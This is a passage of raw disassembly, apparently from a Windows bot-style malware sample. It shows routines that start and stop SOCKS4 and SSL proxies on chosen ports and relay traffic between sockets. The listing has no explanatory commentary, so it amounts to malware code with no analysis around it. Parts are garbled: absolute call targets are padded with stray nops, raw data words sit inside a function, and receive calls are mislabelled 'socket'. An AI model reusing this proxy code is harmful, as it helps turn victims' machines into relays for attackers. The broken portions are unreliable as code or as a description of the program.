CODE XREF: ___:loc_40112Cj ; ___:0040128Fj push esi mov esi, ecx call sub_402126 test byte ptr [esp+8], 1 jz short loc_42AD38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42AD38: ; CODE XREF: ___:0042AD2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AD50 proc near ; CODE XREF: sub_402126j push esi mov esi, ecx mov eax, [esi+9Eh] mov dword ptr [esi], offset off_43F15C cmp eax, 0FFFFFFFFh jz short loc_42AD6B push eax nop call near ptr 71AB9639h loc_42AD6B: ; CODE XREF: sub_42AD50+12j mov ecx, esi call sub_4017A8 pop esi retn sub_42AD50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AD90 proc near ; CODE XREF: sub_4010E1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42AD90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push edi mov edi, ecx mov dword ptr [edi+9Eh], 0FFFFFFFFh loc_42ADB3: ; CODE XREF: sub_42AD90+48j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42ADDA mov ecx, [edi+3Bh] push ecx call sub_40198D add esp, 4 cmp eax, 0FFFFFFFFh mov [edi+9Eh], eax jz short loc_42ADB3 loc_42ADDA: ; CODE XREF: sub_42AD90+31j mov edx, [edi+99h] mov al, [edx+11Ch] test al, al jz loc_42AEAC push ebp push esi loc_42ADF0: ; CODE XREF: sub_42AD90+114j mov eax, [edi+9Eh] push eax call sub_4012DF mov ebp, eax add esp, 4 cmp ebp, 0FFFFFFFFh jz loc_42AE8B test ebp, ebp jz short loc_42AE8B push 0C3h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+1Ch+var_10], eax test eax, eax mov [esp+1Ch+var_4], 0 jz short loc_42AE36 mov ecx, eax call sub_401893 mov esi, eax jmp short loc_42AE38 ; --------------------------------------------------------------------------- loc_42AE36: ; CODE XREF: sub_42AD90+99j xor esi, esi loc_42AE38: ; CODE XREF: sub_42AD90+A4j mov ecx, [edi+99h] mov [esi+9Dh], edi mov [esi+99h], ecx mov edx, [edi+3Bh] lea eax, [edi+26h] lea ecx, [esi+26h] push eax mov [esp+20h+var_4], 0FFFFFFFFh mov [esi+3Bh], edx mov [esi+0BBh], ebp call sub_401FDC mov cl, [edi+97h] mov [esi+97h], cl mov dl, [edi+98h] mov ecx, esi mov [esi+98h], dl call sub_4013DE jmp short loc_42AE96 ; --------------------------------------------------------------------------- loc_42AE8B: ; CODE XREF: sub_42AD90+74j ; sub_42AD90+7Cj push 0FAh nop call near ptr 2850000h loc_42AE96: ; CODE XREF: sub_42AD90+F9j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jnz loc_42ADF0 pop esi pop ebp loc_42AEAC: ; CODE XREF: sub_42AD90+58j mov edi, [edi+9Eh] cmp edi, 0FFFFFFFFh jz short loc_42AEBE push edi nop call near ptr 71AB9639h loc_42AEBE: ; CODE XREF: sub_42AD90+125j mov ecx, [esp+14h+var_C] pop edi mov large fs:0, ecx add esp, 10h retn sub_42AD90 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AF20 proc near ; CODE XREF: sub_40137Aj push ebx push esi mov esi, ecx push edi mov al, [esi+9Dh] lea edi, [esi+11h] test al, al mov eax, [esi+3Bh] lea ebx, [esi+26h] push eax mov ecx, edi jz short loc_42AF48 call sub_4017EE push eax push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL." jmp short loc_42AF53 ; --------------------------------------------------------------------------- loc_42AF48: ; CODE XREF: sub_42AF20+19j call sub_4017EE push eax push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d." loc_42AF53: ; CODE XREF: sub_42AF20+26j mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 1Ch mov ecx, esi call sub_4010E1 mov eax, [esi+3Bh] mov ecx, edi push eax call sub_4017EE push eax push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 1Ch pop edi pop esi pop ebx retn sub_42AF20 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AFF0 proc near ; CODE XREF: sub_40213Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42AFF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F16C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42AFF0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B060: ; CODE XREF: ___:0040187Fj ; ___:loc_401B18j push esi mov esi, ecx call sub_401FA5 test byte ptr [esp+8], 1 jz short loc_42B078 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B078: ; CODE XREF: ___:0042B06Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B090 proc near ; CODE XREF: sub_401FA5j jmp sub_4017A8 sub_42B090 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B0B0 proc near ; CODE XREF: sub_4010AFj var_81D = byte ptr -81Dh var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = byte ptr -808h var_807 = byte ptr -807h var_806 = word ptr -806h var_804 = dword ptr -804h var_800 = byte ptr -800h var_400 = byte ptr -400h sub esp, 820h lea eax, [esp+820h+var_81D] push ebx push ebp push esi mov esi, dword_511CA4 mov ebp, ecx push edi push 0 push 1 mov ecx, [ebp+0A1h] push eax push ecx call esi ; recv cmp eax, 1 jge short loc_42B0F1 mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B0F1: ; CODE XREF: sub_42B0B0+27j cmp [esp+830h+var_81D], 4 jnz loc_42B2DC mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_807] push 406h push eax push ecx call esi ; recv cmp eax, 1 jge short loc_42B12E mov edx, [ebp+0A1h] push edx call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B12E: ; CODE XREF: sub_42B0B0+64j cmp [esp+830h+var_807], 1 jnz loc_42B2DC mov cx, [esp+830h+var_806] mov edx, [esp+830h+var_804] xor eax, eax push 6 mov [esp+834h+var_818], eax push 1 mov [esp+838h+var_814], eax push 2 mov [esp+83Ch+var_810], eax mov word ptr [esp+83Ch+var_818], 2 mov [esp+83Ch+var_80C], eax mov word ptr [esp+83Ch+var_818+2], cx mov [esp+83Ch+var_814], edx nop call near ptr 71AB3B91h mov ebx, eax lea eax, [esp+830h+var_818] push 10h push eax push ebx nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh mov [esp+830h+var_808], 0 jnz short loc_42B1C9 mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Bh push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx call near ptr 71AB428Ah nop mov eax, [ebp+0A1h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B1C9: ; CODE XREF: sub_42B0B0+D8j mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Ah push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] mov esi, dword_511CAC lea eax, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push eax push 8004667Eh push ecx call esi ; ioctlsocket lea edx, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push edx push 8004667Eh push ebx call esi ; ioctlsocket loc_42B226: ; CODE XREF: sub_42B0B0+1AFj ; sub_42B0B0+1FEj ... mov edi, dword_511CA4 push 0 lea eax, [esp+834h+var_400] push 400h push eax push ebx call edi ; recv mov esi, eax test esi, esi jz loc_42B2CA jge short loc_42B261 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_42B261 push 0Ah nop call near ptr 2850000h jmp short loc_42B226 ; --------------------------------------------------------------------------- loc_42B261: ; CODE XREF: sub_42B0B0+198j ; sub_42B0B0+1A5j mov edx, [ebp+0A1h] push 0 lea ecx, [esp+834h+var_400] push esi push ecx push edx call near ptr 71AB428Ah nop mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_400] push 400h push eax push ecx call edi ; recv mov esi, eax test esi, esi jz short loc_42B2CA jge short loc_42B2B3 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_42B2B3 push 0Ah nop call near ptr 2850000h jmp loc_42B226 ; --------------------------------------------------------------------------- loc_42B2B3: ; CODE XREF: sub_42B0B0+1E7j ; sub_42B0B0+1F4j push 0 lea edx, [esp+834h+var_400] push esi push edx push ebx nop call near ptr 71AB428Ah jmp loc_42B226 ; --------------------------------------------------------------------------- loc_42B2CA: ; CODE XREF: sub_42B0B0+192j ; sub_42B0B0+1E5j mov eax, [ebp+0A1h] mov esi, dword_511C9C push eax call esi ; closesocket push ebx call esi ; closesocket loc_42B2DC: ; CODE XREF: sub_42B0B0+46j ; sub_42B0B0+83j pop edi pop esi pop ebp pop ebx add esp, 820h retn sub_42B0B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B380 proc near ; CODE XREF: sub_40218Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B380 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F17C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B380 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B3F0 proc near ; CODE XREF: ___:00401032j sub_4017B2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401C4E test [esp+4+arg_0], 1 jz short loc_42B408 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B408: ; CODE XREF: sub_42B3F0+Dj mov eax, esi pop esi retn 4 sub_42B3F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B420 proc near ; CODE XREF: sub_401C4Ej jmp sub_4017A8 sub_42B420 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B440 proc near ; CODE XREF: sub_40189Dj var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42B440 push eax mov large fs:0, esp sub esp, 28h push ebx push esi mov esi, ecx mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax lea ebx, [esi+26h] call sub_4017EE push eax push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 1Ch push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42B649 mov cx, [esi+3Bh] xor eax, eax mov [esp+3Ch+var_2C], eax push ecx mov [esp+40h+var_28], eax mov word ptr [esp+40h+var_2C], 2 mov [esp+40h+var_24], eax mov [esp+40h+var_20], eax call near ptr 71AB2B66h nop mov word ptr [esp+3Ch+var_2C+2], ax mov eax, [esi+9Dh] lea edx, [esp+3Ch+var_2C] push 10h push edx push eax mov [esp+48h+var_34], 10h call near ptr 71AB3E00h nop test eax, eax jz short loc_42B516 mov ecx, [esi+9Dh] push ecx nop call near ptr 71AB9639h pop esi pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42B516: ; CODE XREF: sub_42B440+B6j mov edx, [esi+99h] push ebp push edi mov al, [edx+11Ch] test al, al jz loc_42B600 loc_42B52C: ; CODE XREF: sub_42B440+1BAj mov eax, [esi+9Dh] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_42B550 push 0FAh nop call near ptr 2850000h jmp loc_42B5EC ; --------------------------------------------------------------------------- loc_42B550: ; CODE XREF: sub_42B440+FEj mov eax, [esi+9Dh] lea ecx, [esp+40h+var_30] lea edx, [esp+40h+var_18] push ecx push edx push eax nop call near ptr 71AC1028h mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42B600 xor edi, edi cmp ebp, edi jz loc_42B600 push 0A5h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42B59E mov ecx, eax call sub_40213A mov edi, eax loc_42B59E: ; CODE XREF: sub_42B440+153j mov ecx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], ecx mov edx, [esi+3Bh] push ebx lea ecx, [edi+26h] mov [esp+48h+var_4], 0FFFFFFFFh mov [edi+3Bh], edx mov [edi+0A1h], ebp call sub_401FDC mov al, [esi+97h] mov [edi+97h], al mov cl, [esi+98h] mov [edi+98h], cl mov ecx, edi call sub_4013DE loc_42B5EC: ; CODE XREF: sub_42B440+10Bj mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42B52C loc_42B600: ; CODE XREF: sub_42B440+E6j ; sub_42B440+12Cj ... mov eax, [esi+9Dh] pop edi cmp eax, 0FFFFFFFFh pop ebp jz short loc_42B614 push eax nop call near ptr 71AB9639h loc_42B614: ; CODE XREF: sub_42B440+1CBj mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax call sub_4017EE push eax push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 1Ch loc_42B649: ; CODE XREF: sub_42B440+69j mov ecx, [esp+3Ch+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 34h retn sub_42B440 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B6F0 proc near ; CODE XREF: sub_401758j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax call near ptr 71AB4FD4h nop test eax, eax jz short loc_42B711 mov ecx, [eax+0Ch] mov edx, [ecx] mov ecx, [esp+arg_4] mov eax, [edx] mov [ecx], eax mov al, 1 retn 8 ; --------------------------------------------------------------------------- loc_42B711: ; CODE XREF: sub_42B6F0+Dj xor al, al retn 8 sub_42B6F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B730 proc near ; CODE XREF: sub_4020E0j var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 50Ch push ebx mov ebx, [esp+510h+arg_4] push ebp push esi push edi mov [esp+51Ch+var_50C], 0 mov [esp+51Ch+var_508], 0 loc_42B751: ; CODE XREF: sub_42B730+12Cj mov ebp, [esp+51Ch+arg_0] mov [esp+51Ch+var_504], 1 mov [esp+51Ch+var_500], ebp xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42B76A: ; CODE XREF: sub_42B730+45j cmp [ecx], ebx jz short loc_42B777 inc eax add ecx, 4 cmp eax, 1 jb short loc_42B76A loc_42B777: ; CODE XREF: sub_42B730+3Cj cmp eax, 1 jnz short loc_42B788 mov [esp+51Ch+var_4FC], ebx mov [esp+51Ch+var_504], 2 loc_42B788: ; CODE XREF: sub_42B730+4Aj lea eax, [esp+51Ch+var_50C] lea ecx, [esp+51Ch+var_504] push eax push 0 push 0 push ecx push 2 nop call near ptr 71AB2DC0h test eax, eax jbe short loc_42B813 cmp eax, 0FFFFFFFFh jz short loc_42B813 lea edx, [esp+51Ch+var_504] push edx push ebp call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42B7BC mov eax, ebp mov ebp, ebx jmp short loc_42B7BE ; --------------------------------------------------------------------------- loc_42B7BC: ; CODE XREF: sub_42B730+84j mov eax, ebx loc_42B7BE: ; CODE XREF: sub_42B730+8Aj push 0 lea ecx, [esp+520h+var_400] push 3FFh push ecx push eax nop call near ptr 71AB615Ah mov edi, eax xor esi, esi cmp edi, 0FFFFFFFFh mov [esp+edi+51Ch+var_400], 0 jz short loc_42B862 test edi, edi jz short loc_42B862 jbe short loc_42B80C loc_42B7EB: ; CODE XREF: sub_42B730+DAj mov edx, edi push 0 sub edx, esi lea eax, [esp+esi+520h+var_400] push edx push eax push ebp nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh jz short loc_42B862 add esi, eax cmp esi, edi jb short loc_42B7EB loc_42B80C: ; CODE XREF: sub_42B730+B9j mov ebp, [esp+51Ch+arg_0] loc_42B813: ; CODE XREF: sub_42B730+70j ; sub_42B730+75j mov [esp+51Ch+var_500], ebp mov [esp+51Ch+var_504], 1 xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42B825: ; CODE XREF: sub_42B730+100j cmp [ecx], ebx jz short loc_42B832 inc eax add ecx, 4 cmp eax, 1 jb short loc_42B825 loc_42B832: ; CODE XREF: sub_42B730+F7j cmp eax, 1 jnz short loc_42B844 mov [esp+eax*4+51Ch+var_500], ebx mov eax, [esp+51Ch+var_504] inc eax mov [esp+51Ch+var_504], eax loc_42B844: ; CODE XREF: sub_42B730+105j lea ecx, [esp+51Ch+var_50C] lea edx, [esp+51Ch+var_504] push ecx push edx push 0 push 0 push 2 nop call near ptr 71AB2DC0h test eax, eax jle loc_42B751 loc_42B862: ; CODE XREF: sub_42B730+B3j ; sub_42B730+B7j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 50Ch retn 8 sub_42B730 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B8E0 proc near ; CODE XREF: sub_401C30j var_51C = word ptr -51Ch var_51A = word ptr -51Ah var_518 = dword ptr -518h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_400 = dword ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 51Ch push ebx push ebp mov ebp, [esp+524h+arg_4] push esi push edi mov edx, ecx movsx eax, byte ptr [ebp+3] dec eax mov [esp+52Ch+var_508], 0 mov [esp+52Ch+var_50C], 7 mov [esp+52Ch+var_51C], 2 jz short loc_42B97F dec eax jz short loc_42B92A dec eax jnz loc_42BA72 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42B92A: ; CODE XREF: sub_42B8E0+32j movsx eax, byte ptr [ebp+4] mov ecx, eax lea esi, [ebp+5] mov ebx, ecx lea edi, [esp+52Ch+var_400] shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov byte ptr [esp+eax+52Ch+var_400], 0 lea eax, [esp+52Ch+var_518] lea ecx, [esp+52Ch+var_400] push eax push ecx mov ecx, edx call sub_401758 test al, al jz loc_42BA72 movsx esi, byte ptr [ebp+4] mov dx, [esi+ebp+5] add esi, 7 mov [esp+52Ch+var_51A], dx jmp short loc_42B99B ; --------------------------------------------------------------------------- loc_42B97F: ; CODE XREF: sub_42B8E0+2Fj mov eax, [ebp+4] mov esi, 0Ah mov [esp+52Ch+var_400], eax mov [esp+52Ch+var_518], eax mov ax, [ebp+8] mov [esp+52Ch+var_51A], ax loc_42B99B: ; CODE XREF: sub_42B8E0+9Dj mov ebx, dword_511C3C push 11h push 2 push 2 call ebx ; socket push 11h push 2 push 2 mov edi, eax call ebx ; socket cmp edi, 0FFFFFFFFh jz loc_42BA72 cmp eax, 0FFFFFFFFh jnz loc_42BA72 mov edx, [esp+52Ch+arg_8] lea ecx, [esp+52Ch+var_51C] push 10h push ecx sub edx, esi push 0 add esi, ebp mov ebp, dword_511C68 push edx push esi push edi call ebp ; sendto mov ebx, [esp+52Ch+arg_0] push 10h push ebx push edi nop call near ptr 71AB3E00h test eax, eax jnz short loc_42BA72 loc_42B9F9: ; CODE XREF: sub_42B8E0+174j lea eax, [esp+52Ch+var_50C] lea ecx, [esp+52Ch+var_504] push eax push 0 push 0 push ecx push 1 mov [esp+540h+var_500], 0FFFFFFFFh mov [esp+540h+var_504], 1 call near ptr 71AB2DC0h nop push 0 push 0 push 0 lea edx, [esp+538h+var_400] push 3FFh push edx push edi call near ptr 71AB2D0Fh nop push 10h mov esi, eax push ebx push 0 lea eax, [esp+538h+var_400] push esi push eax push 0FFFFFFFFh call ebp ; sendto test esi, esi jbe short loc_42BA56 cmp esi, 0FFFFFFFFh jnz short loc_42B9F9 loc_42BA56: ; CODE XREF: sub_42B8E0+16Fj mov esi, dword_511C9C push edi call esi ; closesocket push 0FFFFFFFFh call esi ; closesocket pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42BA72: ; CODE XREF: sub_42B8E0+35j ; sub_42B8E0+86j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 51Ch retn 0Ch sub_42B8E0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42BB00 proc near ; CODE XREF: sub_42C5C0:loc_4013A2j var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = byte ptr -81Ch var_81A = word ptr -81Ah var_818 = dword ptr -818h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_708 = byte ptr -708h var_707 = byte ptr -707h var_705 = dword ptr -705h var_604 = word ptr -604h var_600 = dword ptr -600h var_5F0 = byte ptr -5F0h var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 4 sub esp, 82Ch push ebx push ebp push esi mov esi, [esp+838h+arg_0] cmp esi, 0FFFFFFFFh push edi mov ebp, ecx mov [esp+83Ch+var_828], 0 mov [esp+83Ch+var_82C], 0Bh mov [esp+83Ch+var_808], esi mov [esp+83Ch+var_80C], 1 jz loc_42BDBA mov eax, [ebp-8] mov ecx, [eax+4] mov ax, [ecx+ebp-2] cmp ax, 1 jnz loc_42BED6 mov edi, dword_511C94 lea edx, [esp+83Ch+var_82C] push edx push 0 lea eax, [esp+844h+var_80C] push 0 push eax push 1 call edi ; select test eax, eax jle loc_42BF63 lea ecx, [esp+83Ch+var_80C] push ecx push esi call sub_438256 ; --------------------------------------------------------------------------- dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h dd 256248Ch, 0D3FF0000h, 26A006Ah, 44730868h, 8BE85600h dd 90716886h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h dd 282444C7h, 0 ; --------------------------------------------------------------------------- mov [esp+82Ch+var_808], 7 mov [esp+82Ch+var_7E4], esi mov [esp+82Ch+var_7E8], 1 call edi ; select xor eax, eax lea edx, [esp+82Ch+var_5F0] push eax mov ecx, 20h lea edi, [esp+830h+var_5F0] push 2 push edx push esi rep stosd call ebx ; socket cmp byte ptr [esp+83Ch+var_600], 1 jnz loc_42BDBA movsx eax, byte ptr [esp+83Ch+var_600+1] push 0 lea ecx, [esp+840h+var_200] push eax push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600+1] push 0 lea eax, [esp+840h+var_600] push 1 push eax push esi mov [esp+edx+84Ch+var_200], 0 call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] push 0 lea edx, [esp+840h+var_100] push ecx push edx push esi call ebx ; socket movsx eax, byte ptr [esp+83Ch+var_600] mov ecx, [ebp-8] mov [esp+eax+83Ch+var_100], 0 mov ecx, [ecx+4] add ecx, ebp call sub_4017EE mov edi, eax lea ecx, [esp+83Ch+var_200] loc_42BCCB: ; CODE XREF: sub_42BB00+1E9j mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_42BCEF test al, al jz short loc_42BCEB mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_42BCEF add ecx, 2 add edi, 2 test al, al jnz short loc_42BCCB loc_42BCEB: ; CODE XREF: sub_42BB00+1D5j xor eax, eax jmp short loc_42BCF4 ; --------------------------------------------------------------------------- loc_42BCEF: ; CODE XREF: sub_42BB00+1D1j ; sub_42BB00+1DFj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42BCF4: ; CODE XREF: sub_42BB00+1EDj test eax, eax jz short loc_42BD51 mov eax, [ebp-8] mov ecx, [eax+4] lea ecx, [ecx+ebp+15h] call sub_4017EE lea edi, [esp+83Ch+var_100] loc_42BD0E: ; CODE XREF: sub_42BB00+22Cj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_42BD32 test cl, cl jz short loc_42BD2E mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_42BD32 add edi, 2 add eax, 2 test cl, cl jnz short loc_42BD0E loc_42BD2E: ; CODE XREF: sub_42BB00+218j xor eax, eax jmp short loc_42BD37 ; --------------------------------------------------------------------------- loc_42BD32: ; CODE XREF: sub_42BB00+214j ; sub_42BB00+222j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42BD37: ; CODE XREF: sub_42BB00+230j test eax, eax jz short loc_42BD51 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BD51: ; CODE XREF: sub_42BB00+1F6j ; sub_42BB00+239j mov edi, dword_511CA0 push 0 push 2 push offset dword_447304 push esi call edi ; send lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 nop call near ptr 71AB2DC0h lea edx, [esp+83Ch+var_80C] push edx push esi call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42BDBA push 0 lea eax, [esp+840h+var_708] push 4 push eax push esi call ebx ; socket mov eax, [esp+83Ch+var_705] and eax, 0FFh dec eax jz short loc_42BE21 sub eax, 2 jz short loc_42BDC9 dec eax loc_42BDB8: ; CODE XREF: sub_42BB00+31Fj jnz short loc_42BE30 loc_42BDBA: ; CODE XREF: sub_42BB00+32j ; sub_42BB00+154j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BDC9: ; CODE XREF: sub_42BB00+2B5j push 0 lea ecx, [esp+840h+var_600] push 1 push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600] push 0 lea eax, [esp+840h+var_705+1] push edx push eax push esi call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] lea edx, [esp+83Ch+var_600] lea eax, [esp+83Ch+var_705+1] mov byte ptr [esp+ecx+83Ch+var_705+1], 0 mov ecx, [ebp-8] push edx push eax mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_401758 test al, al jmp short loc_42BDB8 ; --------------------------------------------------------------------------- loc_42BE21: ; CODE XREF: sub_42BB00+2B0j push 0 lea eax, [esp+840h+var_600] push 4 push eax push esi call ebx ; socket loc_42BE30: ; CODE XREF: sub_42BB00:loc_42BDB8j push 0 lea ecx, [esp+840h+var_604] push 2 push ecx push esi call ebx ; socket cmp [esp+83Ch+var_707], 1 jnz loc_42BDBA mov ebx, [esp+83Ch+var_820] mov dx, [esp+83Ch+var_604] mov eax, [esp+83Ch+var_600] lea ecx, [esp+83Ch+var_81C] push 10h push 